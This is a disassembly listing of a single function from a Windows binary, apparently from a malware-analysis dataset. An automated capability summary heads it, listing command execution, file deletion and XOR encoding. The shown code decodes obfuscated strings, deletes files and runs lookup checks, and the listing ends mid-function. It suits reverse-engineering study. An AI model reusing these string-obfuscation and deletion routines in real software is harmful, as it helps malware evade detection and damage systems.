Function at 0x14004f160
Capabilities:
Create thread
Delete file
Encode data using xor
Execute command
Set console window title
Terminate process

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x3f8]
sub rsp, 0x4e0
movaps xmmword [rax - 0x28], xmm6
mov rax, qword [0x1400f9080]
xor rax, rsp
mov qword [rbp + 0x3c0], rax
xor ebx, ebx
mov dword [rbp - 0x48], ebx
xorps xmm0, xmm0
movups xmmword [rbp + 0x10], xmm0
lea rdx, [rbp + 0x3f8]
movabs rcx, 0xff00ff00ff00ff00
mov qword [rbp + 0x18], rcx
mov qword [rbp + 0x20], rdx
mov rax, qword [rdx]
xor rax, rcx
mov qword [rbp + 0x10], rax
mov qword [rdx], rbx
call fcn.14006ada0
call fcn.14006adcc
call fcn.14006adb6
call fcn.14006adcc
call fcn.14006adb6
call fcn.14006ade2
call fcn.14006adf8
call fcn.14006ada0
call fcn.14006ae0e
movsd xmm0, qword [0x1400e5df0]
movsd qword [rsp + 0x30], xmm0
mov eax, dword [0x1400e5df8]
mov dword [rsp + 0x38], eax
movzx eax, word [0x1400e5dfc]
mov word [rsp + 0x3c], ax
movzx eax, byte [0x1400e5dfe]
mov byte [rsp + 0x3e], al
mov r8d, ebx
mov r15d, dword [reloc.WS2_32.dll_accept]
cmp r15d, 2
jl 0x14004f335
movdqa xmm4, xmmword [0x1400e7900]
movdqa xmm2, xmmword [0x1400e77b0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400e77d0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400e7870]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.1111111111111111]
movd xmm0, dword [0x1400e5df0]
xorps xmm2, xmm0
movd dword [rsp + 0x30], xmm2
movdqa xmm3, xmmword [0x1400e77c0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400e77d0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400e7870]
packuswb xmm2, xmm2
paddb xmm2, xmmword [str.1111111111111111]
movd xmm0, dword [rsp + 0x34]
xorps xmm2, xmm0
movd dword [rsp + 0x34], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xf
jl 0x14004f340
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
mov qword [rbp - 0x70], rbx
mov qword [rbp - 0x68], rbx
lea rax, [rsp + 0x30]
mov r14, 0xffffffffffffffff
mov r8, r14
nop
inc r8
cmp byte [rax + r8], 0
jne 0x14004f390
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x80]
call fcn.1400564b0
lea rcx, [rbp - 0x80]
cmp qword [rbp - 0x68], 0xf
cmova rcx, qword [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
mov rdx, qword [rbp - 0x68]
cmp rdx, 0xf
jbe 0x14004f3fa
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004f3f5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004f3f5
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c8e1c
movsd xmm0, qword [str.r_boyeSO_9]
movsd qword [rsp + 0x30], xmm0
movzx eax, byte [reloc.WS2_32.dll_gethostname]
mov byte [rsp + 0x30], 0x43
xor byte [rsp + 0x31], 0x32
xor byte [rsp + 0x32], 0x33
xor byte [rsp + 0x33], 0x34
xor byte [rsp + 0x34], 0x35
xor byte [rsp + 0x35], 0x36
xor byte [rsp + 0x36], 0x37
xor byte [rsp + 0x37], 0x38
xor al, 0x39
mov byte [rsp + 0x38], al
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
mov qword [rbp - 0x70], rbx
mov qword [rbp - 0x68], rbx
lea rax, [rsp + 0x30]
mov r8, r14
inc r8
cmp byte [rax + r8], 0
jne 0x14004f454
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x80]
call fcn.1400564b0
lea rcx, [rbp - 0x80]
cmp qword [rbp - 0x68], 0xf
cmova rcx, qword [rbp - 0x80]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
mov rdx, qword [rbp - 0x68]
cmp rdx, 0xf
jbe 0x14004f4be
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004f4b9
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004f4b9
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c8e1c
movsd xmm0, qword [str.r_boSQN]
movsd qword [rsp + 0x30], xmm0
movzx ecx, word [0x1400e5cb0]
mov word [rsp + 0x38], cx
movzx eax, byte [0x1400e5cb2]
mov byte [rsp + 0x30], 0x43
xor byte [rsp + 0x31], 0x32
xor byte [rsp + 0x32], 0x33
xor byte [rsp + 0x33], 0x34
xor byte [rsp + 0x34], 0x35
xor byte [rsp + 0x35], 0x36
xor byte [rsp + 0x36], 0x37
xor byte [rsp + 0x37], 0x38
xor cl, 0x39
mov byte [rsp + 0x38], cl
xor byte [rsp + 0x39], 0x3a
xor al, 0x3b
mov byte [rsp + 0x3a], al
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
mov qword [rbp - 0x70], rbx
mov qword [rbp - 0x68], rbx
lea rax, [rsp + 0x30]
mov r8, r14
inc r8
cmp byte [rax + r8], 0
jne 0x14004f530
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x80]
call fcn.1400564b0
lea rcx, [rbp - 0x80]
cmp qword [rbp - 0x68], 0xf
cmova rcx, qword [rbp - 0x80]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
mov rdx, qword [rbp - 0x68]
cmp rdx, 0xf
jbe 0x14004f59a
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004f595
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004f595
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c8e1c
movsd xmm0, qword [str.r_boyeSO_9]
movsd qword [rsp + 0x30], xmm0
movzx eax, byte [reloc.WS2_32.dll_gethostname]
mov byte [rsp + 0x30], 0x43
xor byte [rsp + 0x31], 0x32
xor byte [rsp + 0x32], 0x33
xor byte [rsp + 0x33], 0x34
xor byte [rsp + 0x34], 0x35
xor byte [rsp + 0x35], 0x36
xor byte [rsp + 0x36], 0x37
xor byte [rsp + 0x37], 0x38
xor al, 0x39
mov byte [rsp + 0x38], al
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
mov qword [rbp - 0x70], rbx
mov qword [rbp - 0x68], rbx
lea rax, [rsp + 0x30]
mov r8, r14
inc r8
cmp byte [rax + r8], 0
jne 0x14004f5f4
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x80]
call fcn.1400564b0
lea rcx, [rbp - 0x80]
cmp qword [rbp - 0x68], 0xf
cmova rcx, qword [rbp - 0x80]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
mov rdx, qword [rbp - 0x68]
cmp rdx, 0xf
jbe 0x14004f65e
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004f659
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004f659
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c8e1c
movsd xmm0, qword [str.r_boqtu]
movsd qword [rsp + 0x30], xmm0
movzx ecx, word [0x1400e5de0]
mov word [rsp + 0x38], cx
movzx eax, byte [0x1400e5de2]
mov byte [rsp + 0x30], 0x43
xor byte [rsp + 0x31], 0x32
xor byte [rsp + 0x32], 0x33
xor byte [rsp + 0x33], 0x34
xor byte [rsp + 0x34], 0x35
xor byte [rsp + 0x35], 0x36
xor byte [rsp + 0x36], 0x37
xor byte [rsp + 0x37], 0x38
xor cl, 0x39
mov byte [rsp + 0x38], cl
xor byte [rsp + 0x39], 0x3a
xor al, 0x3b
mov byte [rsp + 0x3a], al
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
mov qword [rbp - 0x70], rbx
mov qword [rbp - 0x68], rbx
lea rax, [rsp + 0x30]
mov r8, r14
inc r8
cmp byte [rax + r8], 0
jne 0x14004f6d0
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x80]
call fcn.1400564b0
lea rcx, [rbp - 0x80]
cmp qword [rbp - 0x68], 0xf
cmova rcx, qword [rbp - 0x80]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
mov rdx, qword [rbp - 0x68]
cmp rdx, 0xf
jbe 0x14004f73a
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004f735
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004f735
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c8e1c
movsd xmm0, qword [str.r_boPE_]
movsd qword [rsp + 0x30], xmm0
mov eax, dword [str.JCH_]
mov dword [rsp + 0x38], eax
cmp byte [reloc.WLDAP32.dll_Ordinal_60], 0
je 0x14004f8b0
mov r8d, ebx
cmp r15d, 2
jl 0x14004f86e
movdqa xmm4, xmmword [0x1400e7900]
movdqa xmm2, xmmword [0x1400e77b0]
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400e77d0]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400e7870]
packuswb xmm2, xmm2
mov eax, dword [str.1111111111111111]
movd xmm0, eax
paddb xmm2, xmm0
movd xmm0, dword [str.r_boPE_]
xorps xmm2, xmm0
movd dword [rsp + 0x30], xmm2
movdqa xmm3, xmmword [0x1400e77c0]
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
psrad xmm1, 4
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x1400e77d0]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1400e7870]
packuswb xmm2, xmm2
movd xmm0, eax
paddb xmm2, xmm0
movd xmm1, dword [rsp + 0x34]
xorps xmm2, xmm1
movd dword [rsp + 0x34], xmm2
mov r8d, 8
movsxd rax, r8d
lea r9, [rsp + 0x30]
add r9, rax
nop dword [rax]
mov eax, 0x4ec4ec4f
imul r8d
sar edx, 4
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x34
movzx eax, r8b
sub al, cl
add al, 0x31
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0xc
jl 0x14004f880
xorps xmm0, xmm0
movups xmmword [rbp - 0x80], xmm0
mov qword [rbp - 0x70], rbx
mov qword [rbp - 0x68], rbx
lea rax, [rsp + 0x30]
mov r8, r14
nop word [rax + rax]
inc r8
cmp byte [rax + r8], 0
jne 0x14004f8d0
lea rdx, [rsp + 0x30]
lea rcx, [rbp - 0x80]
call fcn.1400564b0
lea rcx, [rbp - 0x80]
cmp qword [rbp - 0x68], 0xf
cmova rcx, qword [rbp - 0x80]
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
mov rdx, qword [rbp - 0x68]
cmp rdx, 0xf
jbe 0x14004f93a
inc rdx
mov rcx, qword [rbp - 0x80]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004f935
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004f935
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c8e1c
movdqa xmm0, xmmword [0x1400e79b0]
movdqu xmmword [rsp + 0x40], xmm0
mov dword [rsp + 0x50], 0x100cddf
mov rcx, rbx
nop dword [rax]
nop word [rax + rax]
lea eax, [rcx - 0x69]
xor byte [rsp + rcx + 0x40], al
inc rcx
cmp rcx, 0x12
jb 0x14004f960
mov byte [rsp + 0x53], 0
lea r9, [rbp - 0x48]
lea r8, [rsp + 0x52]
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x60]
call fcn.1400561c0
mov esi, 3
lea rcx, [rsp + 0x60]
call fcn.14004b4e0
mov rdi, rax
mov rdx, qword [rsp + 0x78]
cmp rdx, 0xf
jbe 0x14004f9df
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004f9da
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004f9da
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c8e1c
test rdi, rdi
jne 0x140050602
movdqa xmm0, xmmword [0x1400e79c0]
movdqu xmmword [rsp + 0x40], xmm0
mov dword [rsp + 0x50], 0x100cddf
mov rcx, rbx
nop dword [rax]
nop word [rax + rax]
lea eax, [rcx - 0x69]
xor byte [rsp + rcx + 0x40], al
inc rcx
cmp rcx, 0x12
jb 0x14004fa10
mov byte [rsp + 0x53], 0
lea r9, [rbp - 0x48]
lea r8, [rsp + 0x52]
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x60]
call fcn.1400561c0
mov esi, 0x183
lea rcx, [rsp + 0x60]
call fcn.14004b4e0
mov rdi, rax
mov rdx, qword [rsp + 0x78]
cmp rdx, 0xf
jbe 0x14004fa8f
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004fa8a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004fa8a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c8e1c
test rdi, rdi
jne 0x140050602
movdqa xmm0, xmmword [0x1400e7970]
movdqu xmmword [rsp + 0x40], xmm0
mov dword [rsp + 0x50], 0xccd0c2
mov byte [rsp + 0x54], 1
mov rcx, rbx
nop word [rax + rax]
lea eax, [rcx - 0x69]
xor byte [rsp + rcx + 0x40], al
inc rcx
cmp rcx, 0x13
jb 0x14004fac0
mov byte [rsp + 0x54], 0
lea r9, [rbp - 0x48]
lea r8, [rsp + 0x53]
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x60]
call fcn.1400561c0
mov esi, 0x783
lea rcx, [rsp + 0x60]
call fcn.14004b4e0
mov rdi, rax
mov rdx, qword [rsp + 0x78]
cmp rdx, 0xf
jbe 0x14004fb3f
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004fb3a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004fb3a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c8e1c
test rdi, rdi
jne 0x140050602
movdqa xmm0, xmmword [0x1400e79d0]
movdqu xmmword [rsp + 0x40], xmm0
mov dword [rsp + 0x50], 0xd2cc86d0
mov word [rsp + 0x54], Ordinal_211
mov byte [rsp + 0x56], 1
mov rcx, rbx
nop dword [rax]
lea eax, [rcx - 0x69]
xor byte [rsp + rcx + 0x40], al
inc rcx
cmp rcx, 0x15
jb 0x14004fb70
mov byte [rsp + 0x56], 0
lea r9, [rbp - 0x48]
lea r8, [rsp + 0x55]
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x60]
call fcn.1400561c0
mov esi, 0x3783
lea rcx, [rsp + 0x60]
call fcn.14004b4e0
mov rdi, rax
mov rdx, qword [rsp + 0x78]
cmp rdx, 0xf
jbe 0x14004fbef
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004fbea
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004fbea
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c8e1c
test rdi, rdi
jne 0x140050602
movdqa xmm0, xmmword [0x1400e7a50]
movdqu xmmword [rsp + 0x40], xmm0
mov word [rsp + 0x50], Ordinal_200
mov byte [rsp + 0x52], 1
mov rcx, rbx
nop word [rax + rax]
lea eax, [rcx - 0x69]
xor byte [rsp + rcx + 0x40], al
inc rcx
cmp rcx, 0x11
jb 0x14004fc20
mov byte [rsp + 0x52], 0
lea r9, [rbp - 0x48]
lea r8, [rsp + 0x51]
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x60]
call fcn.1400561c0
mov esi, 0xf783
lea rcx, [rsp + 0x60]
call fcn.14004b4e0
mov rdi, rax
mov rdx, qword [rsp + 0x78]
cmp rdx, 0xf
jbe 0x14004fc9f
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004fc9a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004fc9a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c8e1c
test rdi, rdi
jne 0x140050602
mov dword [rsp + 0x30], 0xf9f6eae7
mov dword [rsp + 0x34], 0xb0f3f3f6
mov dword [rsp + 0x38], 0xc4d8fa
mov byte [rsp + 0x3c], 1
mov rcx, rbx
nop dword [rax + rax]
lea eax, [rcx - 0x69]
xor byte [rsp + rcx + 0x30], al
inc rcx
cmp rcx, 0xb
jb 0x14004fcd0
mov byte [rsp + 0x3c], 0
lea r9, [rbp - 0x48]
lea r8, [rsp + 0x3b]
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x60]
call fcn.1400561c0
mov esi, 0x3f783
lea rcx, [rsp + 0x60]
call fcn.14004b4e0
mov rdi, rax
mov rdx, qword [rsp + 0x78]
cmp rdx, 0xf
jbe 0x14004fd4f
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004fd4a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004fd4a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c8e1c
test rdi, rdi
jne 0x140050602
mov dword [rsp + 0x30], 0xebf8fcfe
mov dword [rsp + 0x34], 0xfbe5f9b5
mov word [rsp + 0x38], 0x100
mov rcx, rbx
nop dword [rax]
nop word [rax + rax]
lea eax, [rcx - 0x69]
xor byte [rsp + rcx + 0x30], al
inc rcx
cmp rcx, 8
jb 0x14004fd80
mov byte [rsp + 0x39], 0
lea r9, [rbp - 0x48]
lea r8, [rsp + 0x38]
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x60]
call fcn.1400561c0
mov esi, 0xff783
lea rcx, [rsp + 0x60]
call fcn.14004b4e0
mov rdi, rax
mov rdx, qword [rsp + 0x78]
cmp rdx, 0xf
jbe 0x14004fdff
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004fdfa
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004fdfa
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c8e1c
test rdi, rdi
jne 0x140050602
mov dword [rsp + 0x30], 0xebf8fcfe
mov dword [rsp + 0x34], 0xfbb3a8ad
mov dword [rsp + 0x38], 0x100c5e7
mov rcx, rbx
nop dword [rax]
nop word [rax + rax]
lea eax, [rcx - 0x69]
xor byte [rsp + rcx + 0x30], al
inc rcx
cmp rcx, 0xa
jb 0x14004fe30
mov byte [rsp + 0x3b], 0
lea r9, [rbp - 0x48]
lea r8, [rsp + 0x3a]
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x60]
call fcn.1400561c0
mov esi, 0x3ff783
lea rcx, [rsp + 0x60]
call fcn.14004b4e0
mov rdi, rax
mov rdx, qword [rsp + 0x78]
cmp rdx, 0xf
jbe 0x14004feaf
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004feaa
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004feaa
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c8e1c
test rdi, rdi
jne 0x140050602
mov dword [rsp + 0x30], 0xffebf1c0
mov dword [rsp + 0x34], 0xecfcf4e8
mov dword [rsp + 0x38], 0xdac48ef4
mov word [rsp + 0x3c], Ordinal_200
mov byte [rsp + 0x3e], 1
mov rcx, rbx
nop
lea eax, [rcx - 0x69]
xor byte [rsp + rcx + 0x30], al
inc rcx
cmp rcx, 0xd
jb 0x14004fee0
mov byte [rsp + 0x3e], 0
lea r9, [rbp - 0x48]
lea r8, [rsp + 0x3d]
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x60]
call fcn.1400561c0
mov esi, 0xfff783
lea rcx, [rsp + 0x60]
call fcn.14004b4e0
mov rdi, rax
mov rdx, qword [rsp + 0x78]
cmp rdx, 0xf
jbe 0x14004ff5f
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14004ff5a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14004ff5a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c8e1c
test rdi, rdi
jne 0x140050602
mov dword [rsp + 0x30], 0xfefdf1d1
mov dword [rsp + 0x34], 0xb0eff9f7
mov dword [rsp + 0x38], 0xc4d8fa
mov byte [rsp + 0x3c], 1
mov rcx, rbx
nop dword [rax + rax]
lea eax, [rcx - 0x69]
xor byte [rsp + rcx + 0x30], al
inc rcx
cmp rcx, 0xb
jb 0x14004ff90
mov byte [rsp + 0x3c], 0
lea r9, [rbp - 0x48]
lea r8, [rsp + 0x3b]
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x60]
call fcn.1400561c0
mov esi, 0x3fff783
lea rcx, [rsp + 0x60]
call fcn.14004b4e0
mov rdi, rax
mov rdx, qword [rsp + 0x78]
cmp rdx, 0xf
jbe 0x14005000f
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005000a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14005000a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c8e1c
test rdi, rdi
jne 0x140050602
mov dword [rsp + 0x30], 0xf5f7fdcf
mov dword [rsp + 0x34], 0xb0a9aae8
mov dword [rsp + 0x38], 0xc4d8fa
mov byte [rsp + 0x3c], 1
mov rcx, rbx
nop dword [rax + rax]
lea eax, [rcx - 0x69]
xor byte [rsp + rcx + 0x30], al
inc rcx
cmp rcx, 0xb
jb 0x140050040
mov byte [rsp + 0x3c], 0
lea r9, [rbp - 0x48]
lea r8, [rsp + 0x3b]
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x60]
call fcn.1400561c0
mov esi, 0xffff783
lea rcx, [rsp + 0x60]
call fcn.14004b4e0
mov rdi, rax
mov rdx, qword [rsp + 0x78]
cmp rdx, 0xf
jbe 0x1400500bf
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400500ba
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400500ba
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c8e1c
test rdi, rdi
jne 0x140050602
movdqa xmm0, xmmword [0x1400e79e0]
movdqu xmmword [rsp + 0x40], xmm0
mov word [rsp + 0x50], 0x100
mov rcx, rbx
lea eax, [rcx - 0x69]
xor byte [rsp + rcx + 0x40], al
inc rcx
cmp rcx, 0x10
jb 0x1400500e0
mov byte [rsp + 0x51], 0
lea r9, [rbp - 0x48]
lea r8, [rsp + 0x50]
lea rdx, [rsp + 0x40]
lea rcx, [rsp + 0x60]
call fcn.1400561c0
mov esi, 0x3ffff783
lea rcx, [rsp + 0x60]
call fcn.14004b4e0
mov rdi, rax
mov rdx, qword [rsp + 0x78]
cmp rdx, 0xf
jbe 0x14005015f
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x14005015a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14005015a
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c8e1c
test rdi, rdi
jne 0x140050602
movdqa xmm0, xmmword [0x1400e79f0]
movdqu xmmword [rbp - 0x40], xmm0
movdqa xmm1, xmmword [0x1400e7950]
movdqu xmmword [rbp - 0x30], xmm1
mov dword [rbp - 0x20], 0xd3db9885
mov dword [rbp - 0x1c], 0xdb9395cf
mov dword [rbp - 0x18], 0x100a5c7
mov rcx, rbx
nop word [rax + rax]
lea eax, [rcx - 0x69]
xor byte [rbp + rcx - 0x40], al
inc rcx
cmp rcx, 0x2a
jb 0x1400501a0
mov byte [rbp - 0x15], 0
lea r9, [rbp - 0x48]
lea r8, [rbp - 0x16]
lea rdx, [rbp - 0x40]
lea rcx, [rsp + 0x60]
call fcn.1400561c0
mov esi, 0xfffff783
lea rcx, [rsp + 0x60]
call fcn.14004b4e0
mov rdi, rax
mov rdx, qword [rsp + 0x78]
cmp rdx, 0xf
jbe 0x14005021c
inc rdx
mov rcx, qword [rsp + 0x60]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140050217
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140050217
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400c8e1c
test rdi, rdi
jne 0x140050602
mov dword [rsp + 0x30], 0xefddebdc
mov dword [rsp + 0x34], 0xecf8ecf6
mov dword [rsp + 0x38], 0xc7d9c5b1
mov word [rsp + 0x3c], 0x100
mov rcx, rbx
nop word [rax + rax]
lea eax, [rcx - 0x69]
xor byte [rsp + rcx + 0x30], al
inc rcx
cmp rcx, 0xc
jb 0x140050250
mov byte [rsp + 0x3d], 0
